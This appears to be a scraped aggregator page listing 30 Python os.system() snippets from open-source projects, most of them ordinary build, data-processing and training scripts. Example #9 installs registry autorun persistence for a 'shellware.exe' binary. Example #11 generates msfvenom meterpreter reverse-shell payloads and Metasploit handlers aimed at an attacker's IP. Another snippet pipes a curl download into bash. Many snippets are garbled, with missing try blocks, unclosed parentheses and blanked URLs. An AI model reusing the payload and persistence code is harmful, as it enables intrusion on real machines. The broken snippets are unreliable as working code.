Python os.system() Examples

The following are 30 code examples of os.system(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module os , or try the search function .
Example #1
Source File:    From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 10 votes vote down vote up
def get_cifar10(data_dir):
    if not os.path.isdir(data_dir):
        os.system("mkdir " + data_dir)
    cwd = os.path.abspath(os.getcwd())
    if (not os.path.exists('train.rec')) or \
       (not os.path.exists('test.rec')) :
        import urllib, zipfile, glob
        dirname = os.getcwd()
        zippath = os.path.join(dirname, "")
        urllib.urlretrieve("", zippath)
        zf = zipfile.ZipFile(zippath, "r")
        for f in glob.glob(os.path.join(dirname, "cifar", "*")):
            name = f.split(os.path.sep)[-1]
            os.rename(f, os.path.join(dirname, name))
        os.rmdir(os.path.join(dirname, "cifar"))

# data 
Example #2
Source File:    From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 8 votes vote down vote up
def main():
    parser = argparse.ArgumentParser(
        description="Jupyter Notebooks to markdown"

    parser.add_argument("notebook", nargs=1, help="The notebook to be converted.")
    parser.add_argument("-o", "--output", help="output markdown file")
    args = parser.parse_args()

    old_ipynb = args.notebook[0]
    new_ipynb = 'tmp.ipynb'
    md_file = args.output
    if not md_file:
        md_file = os.path.splitext(old_ipynb)[0] + '.md'

    clear_notebook(old_ipynb, new_ipynb)
    os.system('jupyter nbconvert ' + new_ipynb + ' --to markdown --output ' + md_file)
    with open(md_file, 'a') as f:
        f.write('<!-- INSERT SOURCE DOWNLOAD BUTTONS -->')
    os.system('rm ' + new_ipynb) 
Example #3
Source File:    From django-rest-polymorphic with MIT License 6 votes vote down vote up
def run(self):
            self.status('Removing previous builds…')
            rmtree(os.path.join(here, 'dist'))
        except OSError:

        self.status('Building Source and Wheel (universal) distribution…')
        os.system('{0} sdist bdist_wheel --universal'.format(

        self.status('Uploading the package to PyPi via Twine…')
        os.system('twine upload dist/*')

Example #4
Source File:    From arm_now with MIT License 6 votes vote down vote up
def run_qemu(arch, kernel, dtb, rootfs, add_qemu_options):
    dtb = "" if not os.path.exists(dtb) else "-dtb {}".format(dtb)
    options = qemu_options[arch][1].format(arch=arch, kernel=kernel, rootfs=rootfs, dtb=dtb)
    arch = qemu_options[arch][0]
    print("Starting qemu-system-{}".format(arch))
    qemu_config = "-serial stdio -monitor null {add_qemu_options}".format(add_qemu_options=add_qemu_options)
    cmd = """stty intr ^]
       export QEMU_AUDIO_DRV="none"
       qemu-system-{arch} {options} \
               -m 256M \
               -nographic \
               {qemu_config} \
               {dtb} \
       stty intr ^c
    """.format(arch=arch, qemu_config=qemu_config, options=options, dtb=dtb)
Example #5
Source File:    From arm_now with MIT License 6 votes vote down vote up
def check_dependencies_or_exit():
    dependencies = [
                ubuntu="apt-get install e2tools",
                arch="yaourt -S e2tools",
                darwin="brew install e2tools gettext e2fsprogs\nbrew unlink e2fsprogs && brew link e2fsprogs -f"),
                  ubuntu="apt-get install qemu",
                  kali="apt-get install qemu-system",
                  arch="pacman -S qemu-arch-extra",
                  darwin="brew install qemu"),
                ubuntu="apt-get install unzip",
                arch="pacman -S unzip",
                darwin="brew install unzip")
    if not all(dependencies):
        print("requirements missing, plz install them", file=sys.stderr)
Example #6
Source File:    From keras_mixnets with MIT License 6 votes vote down vote up
def run(self):
            self.status('Removing previous builds...')
            rmtree(os.path.join(base_path, 'dist'))
        except OSError:

        self.status('Building Source and Wheel (universal) distribution...')
        os.system('{0} sdist bdist_wheel'.format(sys.executable))

        self.status('Pushing git tags...')
        os.system('git tag v{0}'.format(get_version()))
        os.system('git push --tags')

            self.status('Removing build artifacts...')
            rmtree(os.path.join(base_path, 'build'))
            rmtree(os.path.join(base_path, '{}.egg-info'.format(PACKAGE_NAME)))
        except OSError:

Example #7
Source File:    From Att-ChemdNER with Apache License 2.0 6 votes vote down vote up
def get_perf(filename):
    ''' run perl script to obtain
    precision/recall and F1 score '''
    _conlleval = PREFIX + 'conlleval'
    if not isfile(_conlleval):
        chmod('', stat.S_IRWXU) # give the execute permissions
    out = []
    proc = subprocess.Popen(["perl", _conlleval], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    stdout, _ = proc.communicate(open(filename).read())
    for line in stdout.split('\n'):
        if 'accuracy' in line:
            out = line.split()
    # out = ['accuracy:', '16.26%;', 'precision:', '0.00%;', 'recall:', '0.00%;', 'FB1:', '0.00']
    precision = float(out[3][:-2])
    recall    = float(out[5][:-2])
    f1score   = float(out[7])

    return {'p':precision, 'r':recall, 'f1':f1score} 
Example #8
Source File:    From twitter-export-image-fill with The Unlicense 6 votes vote down vote up
def download_video(url, local_filename):
  if not download_videos:
    return True

    local_filename_escaped = local_filename.replace(' ', '\ ')
    command = '%s -q --no-warnings %s --exec \'mv {} %s\' &>/dev/null' % \
        (youtube_dl_path, url, local_filename_escaped)
    if os.system(command) > 0:
      return False
    if os.path.isfile(local_filename):
      return True
      return False
    return False

# Downloads an avatar image for a tweet.
# @return Whether data was rewritten 
Example #9
Source File:    From Shellware with GNU General Public License v3.0 6 votes vote down vote up
def autorun(dir, fileName, run):
	# Copy to C:\Users
	os.system('copy %s %s'%(fileName, dir))

	# Queries Windows registry for the autorun key value
	# Stores the key values in runkey array
	key = OpenKey(HKEY_LOCAL_MACHINE, run)
	runkey =[]
		i = 0
		while True:
			subkey = EnumValue(key, i)
			i += 1
	except WindowsError:

	# Set key
	if 'foobar' not in runkey:
			SetValueEx(key ,'foobar',0,REG_SZ,r"C:\Users\shellware.exe")
		except WindowsError:
Example #10
Source File:    From models with MIT License 6 votes vote down vote up
def predict_on_batch(self, inputs):
        # write test fasta file
        temp_input = tempfile.NamedTemporaryFile(suffix = ".txt")
        test_fname =
        encode_sequence_into_fasta_file(ofname = test_fname, seq = inputs.tolist())
        # test gkmsvm
        temp_ofp = tempfile.NamedTemporaryFile(suffix = ".txt")
        threads_option = '-T %s' % (str(self.threads))
        verbosity_option = '-v 0'
        command = ' '.join(['gkmpredict',
        #process = subprocess.Popen(command, shell=True)
        #process.wait()  # wait for it to finish
        exit_code = os.system(command)
        assert exit_code == 0
        # get classification results
        y = np.array([line.split()[-1] for line in temp_ofp], dtype=float)
        return np.expand_dims(y, 1) 
Example #11
Source File:    From payday with GNU General Public License v2.0 6 votes vote down vote up
def msf_payloads(ip, output_dir, payload_port):
	# Payloads Dictionary
	payloads = []
	payloads.append(["windows/meterpreter/reverse_tcp",payload_port, "exe", "revmet.exe"])
	payloads.append(["windows/x64/meterpreter/reverse_tcp", payload_port, "exe", "revmet64.exe"])
	payloads.append(["windows/meterpreter/reverse_http",payload_port, "exe", "methttp.exe"])
	payloads.append(["windows/meterpreter/reverse_https",payload_port, "exe", "methttps.exe"])
	payloads.append(["windows/x64/meterpreter/reverse_tcp",payload_port, "exe-service" , "serv64.exe"])
	payloads.append(["windows/meterpreter/reverse_tcp",payload_port, "exe-service" ,"serv.exe"])
	payloads.append(["windows/meterpreter/reverse_tcp",payload_port, "dll", "revmetdll.dll"])
	payloads.append(["windows/x64/meterpreter/reverse_tcp",payload_port, "dll", "revmetdll64.dll"])
	payloads.append(["windows/x64/meterpreter/reverse_https", payload_port, "exe", "methttps64.exe"])

	#./msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

	for parms in payloads:
		payload = parms[0]
		lport = str(parms[1])
		output_type = parms[2]
		ext = parms[3]
		base = output_dir
		venom_cmd = "msfvenom -p " + payload + " LHOST=" + ip + " LPORT=" + lport + " -f " + output_type + " -o " + base + ext
		print("[!] Generating : " + bluetxt(payload))
		print("[>] LHOST " + greentxt(ip) + " on port " + greentxt(lport))
                # strip off ext and replace with .rc
		print("[!] Generating handler for : " + bluetxt(payload))

		handler = ext.split(".")[0] + ".rc"
		handler_file = open(base + "handlers/" + handler , "w+")
		handler_file.write("use exploit/multi/handler\n")
		handler_file.write("set payload " + payload +"\n")
		handler_file.write("set LPORT " + str(payload_port) + "\n")
		handler_file.write("set LHOST " + ip + "\n")
		handler_file.write("set ExitOnSession False\n")
		handler_file.write("exploit -j -z\n")
		print("[!] Generated : " + yellowtxt(handler) + "\n\n") 
Example #12
Source File:    From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 6 votes vote down vote up
def get_mnist(data_dir):
    if not os.path.isdir(data_dir):
        os.system("mkdir " + data_dir)
    if (not os.path.exists('train-images-idx3-ubyte')) or \
       (not os.path.exists('train-labels-idx1-ubyte')) or \
       (not os.path.exists('t10k-images-idx3-ubyte')) or \
       (not os.path.exists('t10k-labels-idx1-ubyte')):
        import urllib, zipfile
        zippath = os.path.join(os.getcwd(), "")
        urllib.urlretrieve("", zippath)
        zf = zipfile.ZipFile(zippath, "r")
Example #13
Source File:    From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 6 votes vote down vote up
def process_network_proto(caffe_root, deploy_proto):
    Runs the caffe upgrade tool on the prototxt to create a prototxt in the latest format.
    This enable us to work just with latest structures, instead of supporting all the variants

    :param caffe_root: link to caffe root folder, where the upgrade tool is located
    :param deploy_proto: name of the original prototxt file
    :return: name of new processed prototxt file
    processed_deploy_proto = deploy_proto + ".processed"

    from shutil import copyfile
    copyfile(deploy_proto, processed_deploy_proto)

    # run upgrade tool on new file name (same output file)
    import os
    upgrade_tool_command_line = caffe_root + '/build/tools/upgrade_net_proto_text.bin ' \
                                + processed_deploy_proto + ' ' + processed_deploy_proto

    return processed_deploy_proto 
Example #14
Source File:    From XFLTReaT with MIT License 6 votes vote down vote up
def communication_initialization(self):
		self.clients = []
		if self.serverorclient:
			if self.os_type == common.OS_LINUX:
				ps = subprocess.Popen(["cat", "/proc/sys/net/ipv4/icmp_echo_ignore_all"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
				(stdout, stderr) = ps.communicate()
				if stderr:
					common.internal_print("Error: deleting default route: {0}".format(stderr), -1)
				self.orig_ieia_value = stdout[0:1]
				os.system("echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all")

		if self.serverorclient:
			self.ICMP_send = self.icmp.ICMP_ECHO_RESPONSE
			self.ICMP_send = self.icmp.ICMP_ECHO_REQUEST
Example #15
Source File:    From pruning_yolov3 with GNU General Public License v3.0 6 votes vote down vote up
def print_mutation(hyp, results, bucket=''):
    # Print mutation results to evolve.txt (for use with --evolve)
    a = '%10s' * len(hyp) % tuple(hyp.keys())  # hyperparam keys
    b = '%10.3g' * len(hyp) % tuple(hyp.values())  # hyperparam values
    c = '%10.3g' * len(results) % results  # results (P, R, mAP, F1, test_loss)
    print('\n%s\n%s\nEvolved fitness: %s\n' % (a, b, c))

    if bucket:
        os.system('gsutil cp gs://%s/evolve.txt .' % bucket)  # download evolve.txt

    with open('evolve.txt', 'a') as f:  # append result
        f.write(c + b + '\n')
    x = np.unique(np.loadtxt('evolve.txt', ndmin=2), axis=0)  # load unique rows
    np.savetxt('evolve.txt', x[np.argsort(-fitness(x))], '%10.3g')  # save sort by fitness

    if bucket:
        os.system('gsutil cp evolve.txt gs://%s' % bucket)  # upload evolve.txt 
Example #16
Source File:    From EDeN with MIT License 5 votes vote down vote up
def test_notebooks():
    notebooks = ['sequence_example.ipynb']
    for notebook in notebooks:
        cmd = 'wget -q' % notebook
        cmd = 'jupyter nbconvert  --stdout --ExecutePreprocessor.enabled=True --ExecutePreprocessor.timeout=300 %s > /dev/null' % notebook
        res = os.system(cmd)
        os.system('rm -f %s' % notebook)
        assert res == 0 
Example #17
Source File:    From convseg with MIT License 5 votes vote down vote up
def evaluator(data, output_dir, output_flag):
    Evaluate presion, recall and F1.
    seqs, gold_stags, pred_stags = data
    assert len(seqs) == len(gold_stags) == len(pred_stags)
    # Create and open temp files.
    if not os.path.exists(output_dir):

    ref_path = os.path.join(output_dir, '%s.ref' % output_flag)
    pred_path = os.path.join(output_dir, '%s.pred' % output_flag)
    score_path = os.path.join(output_dir, '%s.score' % output_flag)
    # Empty words file.
    temp_path = os.path.join(output_dir, '%s.temp' % output_flag)

    ref_file =, 'w', 'utf8')
    pred_file =, 'w', 'utf8')
    for l in create_output(seqs, gold_stags):
        print(l, file=ref_file)
    for i, l in enumerate(create_output(seqs, pred_stags)):
        print(l, file=pred_file)

    os.system('echo > %s' % temp_path)
    os.system('%s  %s %s %s > %s' % ('./score.perl', temp_path, ref_path, pred_path, score_path))
    # Sighan evaluation results
    os.system('tail -n 7 %s > %s' % (score_path, temp_path))
    eval_lines = [l.rstrip() for l in, 'r', 'utf8')]
    # Remove temp files.
    # Precision, Recall and F1 score
    return (float(eval_lines[1].split(':')[1]),
Example #18
Source File:    From DDPAE-video-prediction with MIT License 5 votes vote down vote up
def __init__(self, tb_path):
    self.tb_path = tb_path

    if os.path.exists(tb_path):
      if prompt_yes_no('{} already exists. Proceed?'.format(tb_path)):
        os.system('rm -r {}'.format(tb_path))

    self.writer = SummaryWriter(tb_path) 
Example #19
Source File:    From PiPark with GNU General Public License v2.0 5 votes vote down vote up
def clickAbout(self):
        """Open the README file for instructions on GUI use. """
        if self.__is_verbose: print "ACTION: Clicked 'Open README'"
        # turn off toggle buttons
        # load external README from command line
        # TODO: Put this in new Tkinter window with scroll bar
        os.system("leafpad " + "./SETUP_README.txt")
        if self.__is_verbose: print "INFO: Opened ./SETUP_README.txt in leafpad."
# ==============================================================================
#  Application Layout Management
# ==============================================================================  
    # --------------------------------------------------------------------------
    #   Create Image Display Canvas
    # -------------------------------------------------------------------------- 
Example #20
Source File:    From django-template with MIT License 5 votes vote down vote up
def install_drifter():
    os.system('git init .')
    os.system('curl -sS | /bin/bash') 
Example #21
Source File:    From Turku-neural-parser-pipeline with Apache License 2.0 5 votes vote down vote up
def train_all(args):

    # tokenizer --- TODO

    # Tagger
    if args.tagger:
        print("Training a tagger", file=sys.stderr)
        status = os.system("python3 {workdir}/../Parser-v2/ --save_dir models_{name}/Tagger train --config_file models_{name}/tagger.cfg".format(workdir=thisdir,
        if status != 0:
            print("Tagger status:", status, "Training failed.", file=sys.stderr)

    # Parser
    if args.parser:
        print("Training a parser")
        status = os.system("python3 {workdir}/../Parser-v2/ --save_dir models_{name}/Parser train --config_file models_{name}/parser.cfg".format(workdir=thisdir,
        if status != 0:
            print("Parser status:", status, "Training failed.", file=sys.stderr)

    # Lemmatizer
    if args.lemmatizer == True:
        print("Training a lemmatizer")
        status = os.system("python3 {workdir}/../universal-lemmatizer/ --treebank default --config models_{name}/lemmatizer.yaml".format(workdir=thisdir,
        if status != 0:
            print("Lemmatizer status:", status, "Training failed.", file=sys.stderr)

        copy_lemmatizer(args) # copy the latest lemmatizer under correct name

        status = os.system("cat {train} | python3 {workdir}/../ > models_{name}/Lemmatizer/lemma_cache.tsv".format(train=args.train_file, workdir=thisdir, # build lemma cache
        if status != 0:
            print("Lemma cache status:", status, "Training failed.", file=sys.stderr)

    print("Training done", file=sys.stderr) 
Example #22
Source File:    From multibootusb with GNU General Public License v2.0 5 votes vote down vote up
def onedit_syslinux(self):
        Function to edit main syslinux.cfg file.
        # Function to edit syslinux.cfg file on editors like gedit, notepad etc.
        # Suggest me more editor which can be included in to this function.
        sys_cfg_file = os.path.join(config.usb_mount, "multibootusb", "syslinux.cfg")
        log("Locating " + sys_cfg_file)
        editor = ''
        if not os.path.exists(sys_cfg_file):
            log("syslinux.cfg file not found...")
            QtWidgets.QMessageBox.information(self, 'File not found...', 'Sorry. Unable to locate syslinux.cfg file.\n'
                                                                         'You can only edit syslinux.cfg file generated by multibootusb.')
            if platform.system() == "Linux":
                for e in config.editors_linux:
                    if'which ' + e, shell=True) == 0:
                        log("Editor found is " + e)
                        editor = e
            elif platform.system() == "Windows":
                for e in config.editors_win:
                    if not shutil.which(e) is None:
                        log("Editor found is " + e)
                        editor = e
            if not editor:
                QtWidgets.QMessageBox.information(self, 'Editor not found...',
                                                  'Sorry. Installed editor is not supported by multibootusb\n'
                                                  'Edit ' + sys_cfg_file + ' manually.\n')
                    subprocess.Popen(editor + " '" + sys_cfg_file + "'", shell=True).pid
                except OSError:
                    QtWidgets.QMessageBox.warning(self, 'Error...',
                                                  'Failed to open syslinux.cfg file.\n'
                                                  'Edit syslinux.cfg file manually.\n') 
Example #23
Source File:    From multibootusb with GNU General Public License v2.0 5 votes vote down vote up
def main_gui():
    app = QtWidgets.QApplication(sys.argv)
    #    ui_about = Ui_About()
    #    ui = Ui_MainWindow()

    if platform.system() == 'Linux' and os.getuid() != 0:

        window = AppGui()
        window.setWindowTitle("MultiBootUSB - " + mbusb_version())
        window.setWindowIcon(QtGui.QIcon(resource_path(os.path.join("data", "tools", "multibootusb.png"))))
Example #24
Source File:    From multibootusb with GNU General Public License v2.0 5 votes vote down vote up
def isUserAdmin():
    @return: True if the current user is an 'Admin' whatever that means
    (root on Unix), otherwise False.

    Warning: The inner function fails unless you have Windows XP SP2 or
    higher. The failure causes a traceback to be gen.loged and this
    function to return False.

    if platform.system() == "Windows":
        import ctypes
        # WARNING: requires Windows XP SP2 or higher!
            return ctypes.windll.shell32.IsUserAnAdmin()
            gen.log("Admin check failed, assuming not an admin.")
            return False
    elif platform.system() == "Linux":
        return os.getuid() == 0
        raise RuntimeError("Unsupported operating system for this module: %s" % (,)) 
Example #25
Source File:    From multibootusb with GNU General Public License v2.0 5 votes vote down vote up
def adminCmd(cmd, fork=False, gui=False):
    This simple function checks for a sudo command and runs a command using it.
    This function tries to launch given script with root access using pkexec/gksu/gksudo/kdesu/kdesudo,
    if one of them is already installed.
    PyQt4 is used as GUI.
    Author : sundar
    sudo_cmd = ''
    if os.getuid() == 0:
        sudo_cmd = cmd
        if os.system('which pkexec') == 0:
            if gui:
                # By default, pkexec disallows X11 apps. Restore DISPLAY & XAUTHORITY
                # to allow it. man 1 pkexec/"SECURITY NOTES" section
                cmd = ['export DISPLAY=$DISPLAY; export XAUTHORITY=$XAUTHORITY; '] + cmd
            sudo_cmd = ['pkexec', '/bin/sh', '-c']
        elif os.system('which gksudo') == 0:
            sudo_cmd = ["gksudo", "--", "/bin/sh", "-c"]
        elif os.system('which gksu') == 0:
            sudo_cmd = ["gksu"]
        elif os.system('which kdesudo') == 0:
            sudo_cmd = ["kdesudo", "-t", "-c"]    #
        elif os.system('which kdesu') == 0:
            sudo_cmd = ["kdesu", "-t", "-c"]      #
            QtWidgets.QMessageBox.information('No root...',
                                          'Could not find any of: pkexec, sudo, gksu, kdesu, gksudo, or kdesudo.\n'
                                          'Please install one then restart multibootusb.')
    final_cmd = ' '.join(sudo_cmd + ['"' + ' '.join(cmd).replace('"', '\\"') + '"'])
    gen.log("Executing ==>  " + final_cmd)
    if fork:
        return subprocess.Popen(final_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=1, shell=True)
        ret =, shell=True)
        gen.log("Process returned ==>   " + str(ret))
        return ret 
Example #26
Source File:    From liffy with GNU General Public License v3.0 5 votes vote down vote up
def ping(hostname):
    """Ping the host to check if it's up or down

        hostname {str} -- hostname to ping

        bool -- Tell if host is up or not
    resp = os.system("ping -c 1 -W2 "+hostname+" > /dev/null 2>&1")

    if resp == 0:
        return True
        return False 
Example #27
Source File:    From CAMISIM with Apache License 2.0 5 votes vote down vote up
def _get_sys_cmd(self, file_path_input, fold_coverage, file_path_output_prefix):
        Build system command to be run.

        @param file_path_input: Path to genome fasta file
        @type file_path_input: str | unicode
        @param fold_coverage: coverage of a genome
        @type fold_coverage: int | long | float
        @param file_path_output_prefix: Output prefix used by art illumina
        @type file_path_output_prefix: str | unicode

        @return: System command to run art illumina
        @rtype: str | unicode
        assert self.validate_file(file_path_input)
        assert isinstance(fold_coverage, (int, long, float))
        assert self.validate_dir(file_path_output_prefix, only_parent=True)

        arguments = [
            '-n', str(fold_coverage),  # rename this, because its not the fold_coverage for wgsim
            '-r', file_path_input,
            '-o', file_path_output_prefix,
            '-c', "tools/nanosim_profile/ecoli",
            '--seed', str(self._get_seed() % 2**32 - 1) # nanosim seed cannot be > 2**32 -1
        if self._logfile:
            arguments.append(">> '{}'".format(self._logfile))

        cmd = "{exe} {args}".format(exe=self._file_path_executable, args=" ".join(arguments))
        return cmd

# #################
# ReadSimulationWgsim - wgsim Wrapper
# ################# 
Example #28
Source File:    From CAMISIM with Apache License 2.0 5 votes vote down vote up
def split_by_N(fasta_path, out_path):
    os.system("scripts/ %s %s" % (fasta_path, out_path))
Example #29
Source File:    From CAMISIM with Apache License 2.0 5 votes vote down vote up
def _get_sam_to_bam_cmd(self, file_path_sam, output_dir, max_memory=-1):
			Return system command as string.
			Command will create a sorted by position and indexed bam file from a sam file.


			@param file_path_sam: file path
			@type file_path_sam: str | unicode
			@param output_dir: output directory
			@type output_dir: str | unicode
			@param max_memory: maximum available memory in gigabyte
			@type max_memory: int | long

			@return: system command
			@rtype: str
		if max_memory == -1:
			max_memory = self._max_memory
		file_name = os.path.splitext(os.path.basename(file_path_sam))[0]
		file_path_bam = os.path.join(output_dir, file_name)
		# cmd = "{samtools} view -bS {input} | {samtools} sort - {output}; {samtools} index {output}.bam"
		prefix_temp_files = tempfile.mktemp(dir=self._tmp_dir, prefix="temp_sam_to_sorted_bam")

		cmd_stream_sam_file = "{samtools} view -bS {input}"
		cmd_sort_bam_file = "{samtools} sort -l {compression} -m {memory}G -o {output}.bam -O bam -T {prefix}"
		cmd_index_bam_file = "{samtools} index {output}.bam"

		cmd = cmd_stream_sam_file + " | " + cmd_sort_bam_file + "; " + cmd_index_bam_file
		return cmd.format(
Example #30
Source File:    From CAMISIM with Apache License 2.0 5 votes vote down vote up
def read_start_positions_from_list_of_bam(self, list_of_file_paths, output_file=None):
			Parse 'read' start positions from bam files.


			@param list_of_file_paths: list of sam file paths
			@type list_of_file_paths: list[str|unicode]
			@param output_file: output file path
			@type output_file: str | unicode

			@return: output file path
			@rtype: str | unicode

			@raises: AssertionError | OSError
		if output_file is None:
			output_file = tempfile.mktemp(dir=self._tmp_dir, prefix="read_start_positions")
		assert isinstance(list_of_file_paths, list)
		assert isinstance(output_file, basestring)
		assert self.validate_dir(output_file, only_parent=True)
		for file_path in list_of_file_paths:
			assert self.validate_file(file_path)

		cmd = "set -o pipefail; {samtools} view '{bamfile}' | awk '{{print $1 \"\\t\" $4}}' >> '{output}'"
		for file_path in list_of_file_paths:
			# exit_status = os.system(
			exit_status =
				cmd.format(samtools=self._file_path_samtools, bamfile=file_path, output=output_file),
			if exit_status != 0:
				msg = "Error occurred parsing '{}'".format(file_path)
				raise OSError(msg)
		return output_file